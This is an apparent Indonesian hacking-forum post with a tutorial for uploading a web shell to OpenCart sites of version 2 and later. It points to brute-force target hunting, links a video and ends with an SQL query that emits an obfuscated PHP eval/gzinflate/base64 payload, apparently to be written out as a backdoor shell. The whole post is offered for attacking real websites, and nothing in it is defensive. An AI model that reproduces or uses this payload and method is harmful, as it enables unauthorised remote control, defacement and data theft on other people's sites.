Upload shell di cms opencart

kali ini ane pengen bagiin tutor upload shell di website cms opencart.
work versi 2 keatas..

cari targetnya bisa pake bruteforce disini
http://blog.indoxploit.or.id/2016/06/deface-dengan-opencart-bruteforce-and.html

langsung aja ke videonya ..
https://www.youtube.com/watch?v=CA6BvEopCEo

a.sql

SELECT '<?php eval (gzinflate(base64_decode("bZBNasNADIX3hd5hGLqIoW4OUHvIpoVCIIV0F4KRbY09MD/C1gRC8d3rcWJooaCNvqenJ4RNH4TswDP6rqgHJV8fHzBB6qmKHhxushXJdcDozVP1eTh+Zd9Ls2sCXWf0/rF/O56klueTZEdVssvz81/hBrNkTVvnparGoYfR2GJbqzxX8uU/x5w7oR3xl6+DDmw6aFrqrgpxv1aHwQmH3Ie2pDCyQN/wlbB00bIhGHibRvIWGFRhPEUWi66NRZFSS73ypbvc5DHWzrAw7QwuYCOWkdT6m+kH"))); ?>' FROM `mouwaffek_table`

thx to spyhackerz.com